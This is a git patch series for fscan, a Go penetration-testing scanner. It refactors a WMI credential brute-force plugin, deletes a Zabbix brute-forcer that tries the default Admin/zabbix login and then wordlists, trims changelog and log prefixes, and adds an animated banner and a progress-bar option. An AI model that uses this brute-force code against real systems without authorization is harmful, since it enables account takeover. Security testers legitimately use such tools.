// 如果不需要重试,跳出重试循环 + continue // 继续重试 } } - resultChan <- nil - }() - } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } + break // 如果不需要重试,跳出重试循环 } } diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index 1c70a75..fb166fc 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -7,7 +7,6 @@ import ( "github.com/shadow1ng/fscan/Common" "os" "strings" - "sync" "time" ) @@ -34,130 +33,87 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { } maxRetries := Common.MaxRetries - threads := Common.BruteThreads + starttime := time.Now().Unix() - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["smb"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 遍历所有用户名密码组合 for _, user := range Common.Userdict["smb"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} + + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + return fmt.Errorf("扫描超时") + } + + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 执行WMI连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := Wmiexec(info, user, pass, Common.HashValue) + done <- struct { + success bool + err error + }{success, err} + }(user, pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + // 成功连接 + var successLog string + if Common.Domain != "" { + successLog = fmt.Sprintf("WmiExec %v:%v:%v\\%v ", + info.Host, info.Ports, Common.Domain, user) + } else { + successLog = fmt.Sprintf("WmiExec %v:%v:%v ", + info.Host, info.Ports, user) + } + + if Common.HashValue != "" { + successLog += "hash: " + Common.HashValue + } else { + successLog += pass + } + Common.LogSuccess(successLog) + return nil + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("WmiExec %v:%v %v %v %v", + info.Host, 445, user, pass, err) + errlog = strings.Replace(errlog, "\n", "", -1) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } + // 如果是32位hash值,只尝试一次密码 if len(Common.HashValue) == 32 { break } } } - close(taskChan) - - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() - - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } - - // 执行WMI连接 - done := make(chan struct { - success bool - err error - }) - - go func(user, pass string) { - success, err := Wmiexec(info, user, pass, Common.HashValue) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success { - // 成功连接 - var successLog string - if Common.Domain != "" { - successLog = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", - info.Host, info.Ports, Common.Domain, task.user) - } else { - successLog = fmt.Sprintf("[+] WmiExec %v:%v:%v ", - info.Host, info.Ports, task.user) - } - - if Common.HashValue != "" { - successLog += "hash: " + Common.HashValue - } else { - successLog += task.pass - } - Common.LogSuccess(successLog) - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", - info.Host, 445, task.user, task.pass, err) - errlog = strings.Replace(errlog, "\n", "", -1) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 - } - } - resultChan <- nil - }() - } - - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } - } - } return tmperr } diff --git a/Plugins/Zabbix.go b/Plugins/Zabbix.go deleted file mode 100644 index a9eeca6..0000000 --- a/Plugins/Zabbix.go +++ /dev/null @@ -1,209 +0,0 @@ -package Plugins - -import ( - "encoding/json" - "fmt" - "github.com/go-resty/resty/v2" - "github.com/shadow1ng/fscan/Common" - "net" - "strings" - "sync" - "time" -) - -// ZabbixScan 执行 Zabbix 服务扫描 -func ZabbixScan(info *Common.HostInfo) (tmperr error) { - if Common.DisableBrute { - return - } - - maxRetries := Common.MaxRetries - threads := Common.BruteThreads - - // 先测试默认账号 - defaultDone := make(chan struct { - success bool - err error - }) - - go func() { - success, err := ZabbixConn(info, "Admin", "zabbix") - defaultDone <- struct { - success bool - err error - }{success, err} - }() - - select { - case result := <-defaultDone: - if result.success && result.err == nil { - return result.err - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - Common.LogError(fmt.Sprintf("[-] Zabbix默认账号连接超时 %v:%v", info.Host, info.Ports)) - } - - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["zabbix"])*len(Common.Passwords)) - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 - for _, user := range Common.Userdict["zabbix"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - taskChan <- struct { - user string - pass string - }{user, pass} - } - } - close(taskChan) - - // 启动工作线程 - var wg sync.WaitGroup - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - starttime := time.Now().Unix() - - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } - - // 执行Zabbix连接 - done := make(chan struct { - success bool - err error - }) - - go func(user, pass string) { - success, err := ZabbixConn(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("[-] Zabbix服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 - } - } - resultChan <- nil - }() - } - - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } - } - } - - return tmperr -} - -// ZabbixConn 尝试 Zabbix API 连接 -func ZabbixConn(info *Common.HostInfo, user string, pass string) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(Common.Timeout) * time.Second - - // 构造 API URL - apiURL := fmt.Sprintf("http://%s:%s/api_jsonrpc.php", host, port) - - // 构造认证请求 - authRequest := map[string]interface{}{ - "jsonrpc": "2.0", - "method": "user.login", - "params": map[string]string{ - "user": user, - "password": pass, - }, - "id": 1, - } - - // 创建HTTP客户端 - client := resty.New() - client.SetTimeout(timeout) - - // 发送认证请求 - resp, err := client.R(). - SetHeader("Content-Type", "application/json"). - SetBody(authRequest). - Post(apiURL) - - if err != nil { - if netErr, ok := err.(net.Error); ok && netErr.Timeout() { - return false, fmt.Errorf("连接超时") - } - return false, err - } - - // 解析响应 - var result struct { - Result string `json:"result"` - Error struct { - Code int `json:"code"` - Message string `json:"message"` - Data string `json:"data"` - } `json:"error"` - } - - if err := json.Unmarshal(resp.Body(), &result); err != nil { - return false, fmt.Errorf("响应解析失败") - } - - // 检查是否认证成功 - if result.Result != "" { - success := fmt.Sprintf("[+] Zabbix服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) - Common.LogSuccess(success) - return true, nil - } - - return false, fmt.Errorf("认证失败: %v", result.Error.Message) -} diff --git a/README_EN.md b/README_EN.md index ef332ee..0c92e8c 100644 --- a/README_EN.md +++ b/README_EN.md @@ -227,34 +227,34 @@ https://github.com/jjf012/gopoc # 10. Dynamics -[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function -[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format. -[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc. -[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users. +2022/11/19 Add hash collision, wmiexec echo free command execution function +2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format. +2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc. +2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users. Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default. -[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread. -[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito -[+] 2022/1/11 Add oracle password explosion. -[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default. -[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list) -[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability. -[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once. -[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection. -[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle. -[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc. -[+] 2021/4/22 Modify webtitle module and add gbk decoding. -[+] 2021/4/21 Add netbios detection and domain control identification functions. -[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs. -[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details. -[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA. -[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection. +2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread. +2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito +2022/1/11 Add oracle password explosion. +2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default. +2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list) +2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability. +2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once. +2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection. +2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle. +2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc. +2021/4/22 Modify webtitle module and add gbk decoding. +2021/4/21 Add netbios detection and domain control identification functions. +2021/3/4 Support -u url and -uf parameters, support batch scan URLs. +2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details. +2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA. +2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection. Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds. -[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing. -[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users) -[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported. -[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module. -[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout). -[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B. -[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips. +2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing. +2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users) +2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported. +2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module. +2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout). +2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B. +2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips. [url-doczh]: README.md \ No newline at end of file diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 8ee936d..4f6df74 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -58,7 +58,7 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string { // 输出结果 if len(matchedInfos) > 0 { - result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) + result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) Common.LogSuccess(result) return matchedInfos } diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index a28fced..dfc4332 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -83,7 +83,7 @@ func initpoc() { } } else { // 从指定目录加载POC - Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath)) + Common.LogSuccess(fmt.Sprintf("从目录加载POC: %s", Common.PocPath)) err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error { if err != nil || info == nil { return err @@ -98,7 +98,7 @@ func initpoc() { }) if err != nil { - Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err)) + Common.LogError(fmt.Sprintf("加载外部POC失败: %v", err)) } } } diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go index 442bf7d..73c22e8 100644 --- a/WebScan/lib/Client.go +++ b/WebScan/lib/Client.go @@ -256,7 +256,7 @@ func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { if p, err := LoadPoc(f, Pocs); err == nil { pocs = append(pocs, p) } else { - fmt.Printf("[-] POC加载失败 %s: %v\n", f, err) + fmt.Printf("POC加载失败 %s: %v\n", f, err) } } return pocs @@ -268,14 +268,14 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { // 读取POC文件内容 yamlFile, err := Pocs.ReadFile("pocs/" + fileName) if err != nil { - fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) + fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err) return nil, err } // 解析YAML内容 err = yaml.Unmarshal(yamlFile, p) if err != nil { - fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) + fmt.Printf("POC解析失败 %s: %v\n", fileName, err) return nil, err } return p, err @@ -285,7 +285,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { func SelectPoc(Pocs embed.FS, pocname string) []string { entries, err := Pocs.ReadDir("pocs") if err != nil { - fmt.Printf("[-] 读取POC目录失败: %v\n", err) + fmt.Printf("读取POC目录失败: %v\n", err) } var foundFiles []string @@ -304,14 +304,14 @@ func LoadPocbyPath(fileName string) (*Poc, error) { // 读取POC文件内容 data, err := os.ReadFile(fileName) if err != nil { - fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) + fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err) return nil, err } // 解析YAML内容 err = yaml.Unmarshal(data, p) if err != nil { - fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) + fmt.Printf("POC解析失败 %s: %v\n", fileName, err) return nil, err } return p, err diff --git a/go.mod b/go.mod index 2cf1893..f8c1105 100644 --- a/go.mod +++ b/go.mod @@ -68,10 +68,14 @@ require ( github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect + github.com/rivo/uniseg v0.4.7 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect + github.com/schollz/progressbar/v3 v3.17.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect + golang.org/x/term v0.27.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect ) diff --git a/go.sum b/go.sum index eae3d4f..d5a65b1 100644 --- a/go.sum +++ b/go.sum @@ -247,6 +247,8 @@ github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= @@ -297,6 +299,8 @@ github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzuk github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o= github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM= github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= +github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= +github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= @@ -305,6 +309,8 @@ github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQD github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= +github.com/schollz/progressbar/v3 v3.17.1 h1:bI1MTaoQO+v5kzklBjYNRQLoVpe0zbyRZNK6DFkVC5U= +github.com/schollz/progressbar/v3 v3.17.1/go.mod h1:RzqpnsPQNjUyIgdglUjRLgD7sVnxN1wpmBMV+UiEbL4= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= diff --git a/main.go b/main.go index e0e752e..88a0f35 100644 --- a/main.go +++ b/main.go @@ -1,21 +1,19 @@ package main import ( - "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Core" "os" - "time" ) func main() { + Common.InitLogger() + defer Common.CloseLogger() // 确保程序退出时关闭日志文件 - start := time.Now() var Info Common.HostInfo Common.Flag(&Info) if err := Common.Parse(&Info); err != nil { - os.Exit(1) // 或者其他错误处理 + os.Exit(1) // 直接退出即可,日志已经同步写入 } Core.Scan(Info) - fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) } From a603e13d3b4f2911e1da5f361f6342af9390af4b Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 1 Jan 2025 08:27:13 +0800 Subject: [PATCH 166/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96=E8=BF=9B?= =?UTF-8?q?=E5=BA=A6=E6=9D=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/Flag.go | 139 ++++++++++++++++++++++++++++++++++++++++++++--- Common/Log.go | 20 +++++-- Core/Scanner.go | 107 +++++++++++++++++------------------- 4 files changed, 198 insertions(+), 69 deletions(-) diff --git a/Common/Config.go b/Common/Config.go index b2f3240..3d479b3 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -119,6 +119,7 @@ var ( NoColor bool // 禁用彩色输出 JsonFormat bool // JSON格式输出 LogLevel string // 日志输出级别 + NoProgress bool // 禁用进度条显示 ) var ( diff --git a/Common/Flag.go b/Common/Flag.go index 6b0567f..1bca7f6 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -2,18 +2,138 @@ package Common import ( "flag" + "fmt" + "github.com/fatih/color" + "strings" + "time" ) func Banner() { - banner := ` - ___ _ - / _ \ ___ ___ _ __ __ _ ___| | __ - / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / -/ /_\\_____\__ \ (__| | | (_| | (__| < -\____/ |___/\___|_| \__,_|\___|_|\_\ - fscan version: ` + version + ` -` - print(banner) + // 定义暗绿色系 + colors := []color.Attribute{ + color.FgGreen, // 基础绿 + color.FgHiGreen, // 亮绿 + } + + lines := []string{ + " ___ _ ", + " / _ \\ ___ ___ _ __ __ _ ___| | __ ", + " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", + "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", + "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", + } + + // 获取最长行的长度 + maxLength := 0 + for _, line := range lines { + if len(line) > maxLength { + maxLength = len(line) + } + } + + // 清屏并隐藏光标 + fmt.Print("\033[H\033[2J\033[?25l") + defer fmt.Print("\033[?25h") + + // 创建边框 + topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐" + bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘" + + // 呼吸灯效果循环 + for cycle := 0; cycle < 2; cycle++ { // 2个完整循环 + // 亮度由暗到亮 + for i := 0; i <= 10; i++ { + fmt.Print("\033[H") + dim := float64(i) / 10.0 + + printDimmed(topBorder, colors[0], dim) + fmt.Println() + + for lineNum, line := range lines { + printDimmed("│ ", colors[0], dim) + for _, char := range line { + printDimmed(string(char), colors[lineNum%2], dim) + } + padding := maxLength - len(line) + printDimmed(strings.Repeat(" ", padding)+" │", colors[0], dim) + fmt.Println() + } + + printDimmed(bottomBorder, colors[0], dim) + fmt.Println() + + vStr := fmt.Sprintf(" Fscan Version: %s", version) + printDimmed(vStr, colors[1], dim) + fmt.Print("\n\n") + + time.Sleep(50 * time.Millisecond) + } + + // 亮度由亮到暗 + for i := 10; i >= 0; i-- { + fmt.Print("\033[H") + dim := float64(i) / 10.0 + + printDimmed(topBorder, colors[0], dim) + fmt.Println() + + for lineNum, line := range lines { + printDimmed("│ ", colors[0], dim) + for _, char := range line { + printDimmed(string(char), colors[lineNum%2], dim) + } + padding := maxLength - len(line) + printDimmed(strings.Repeat(" ", padding)+" │", colors[0], dim) + fmt.Println() + } + + printDimmed(bottomBorder, colors[0], dim) + fmt.Println() + + vStr := fmt.Sprintf(" Fscan Version: %s", version) + printDimmed(vStr, colors[1], dim) + fmt.Print("\n\n") + + time.Sleep(50 * time.Millisecond) + } + } + + // 最后显示完整亮度的版本 + fmt.Print("\033[H") + printDimmed(topBorder, colors[0], 1.0) + fmt.Println() + + for lineNum, line := range lines { + printDimmed("│ ", colors[0], 1.0) + for _, char := range line { + printDimmed(string(char), colors[lineNum%2], 1.0) + } + padding := maxLength - len(line) + printDimmed(strings.Repeat(" ", padding)+" │", colors[0], 1.0) + fmt.Println() + } + + printDimmed(bottomBorder, colors[0], 1.0) + fmt.Println() + + vStr := fmt.Sprintf(" Fscan Version: %s", version) + printDimmed(vStr, colors[1], 1.0) + fmt.Print("\n\n") +} + +// 辅助函数:打印带透明度的文字 +func printDimmed(text string, col color.Attribute, dim float64) { + if dim < 0.2 { + fmt.Print(strings.Repeat(" ", len(text))) + return + } + + intensity := int(255 * dim) + fmt.Printf("\033[38;2;%d;%d;%dm%s\033[0m", + int(float64(0)*dim), + intensity, + int(float64(0)*dim), + text) } func Flag(Info *HostInfo) { @@ -128,6 +248,7 @@ func Flag(Info *HostInfo) { flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示") flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果") flag.StringVar(&LogLevel, "log", LogLevelInfo, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)") + flag.BoolVar(&NoProgress, "noprogress", false, "禁用进度条显示") flag.Parse() } diff --git a/Common/Log.go b/Common/Log.go index 1e570c5..a15ba29 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -81,8 +81,8 @@ func formatLogMessage(entry *LogEntry) string { return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content) } +// 修改 printLog 函数 func printLog(entry *LogEntry) { - // 先检查日志级别 if LogLevel != LogLevelAll && entry.Level != LogLevel && !(LogLevel == LogLevelInfo && (entry.Level == LogLevelInfo || entry.Level == LogLevelSuccess)) { @@ -92,11 +92,15 @@ func printLog(entry *LogEntry) { OutputMutex.Lock() defer 